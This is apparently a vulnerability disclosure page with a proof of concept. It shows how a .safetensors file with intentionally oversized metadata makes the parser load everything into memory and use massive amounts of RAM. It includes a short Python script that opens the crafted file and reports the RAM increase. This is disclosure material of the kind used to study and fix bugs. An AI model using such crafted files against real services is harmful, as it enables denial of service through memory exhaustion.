Views
No views yet
.safetensors file may contain hundreds of thousands of metadata entries, which the parser loads fully into memory, causing massive RAM usage..safetensors file included here contains intentionally oversized metadata.oversized_metadata.safetensorsgenerate_poc.pyoversized_metadata.safetensors on:1from safetensors import safe_open
2import psutil, os
3
4def get_ram_mb():
5 return psutil.Process(os.getpid()).memory_info().rss / (1024 * 1024)
6
7print(f"[+] Initial RAM: {get_ram_mb():.2f} MB")
8
9# Load the oversized metadata file
10with safe_open("oversized_metadata.safetensors", framework="pt") as f:
11 keys = f.keys() # <-- This triggers full metadata parsing
12
13print(f"[+] RAM After Parsing: {get_ram_mb():.2f} MB")
14print("[!] Large RAM increase confirms the issue.")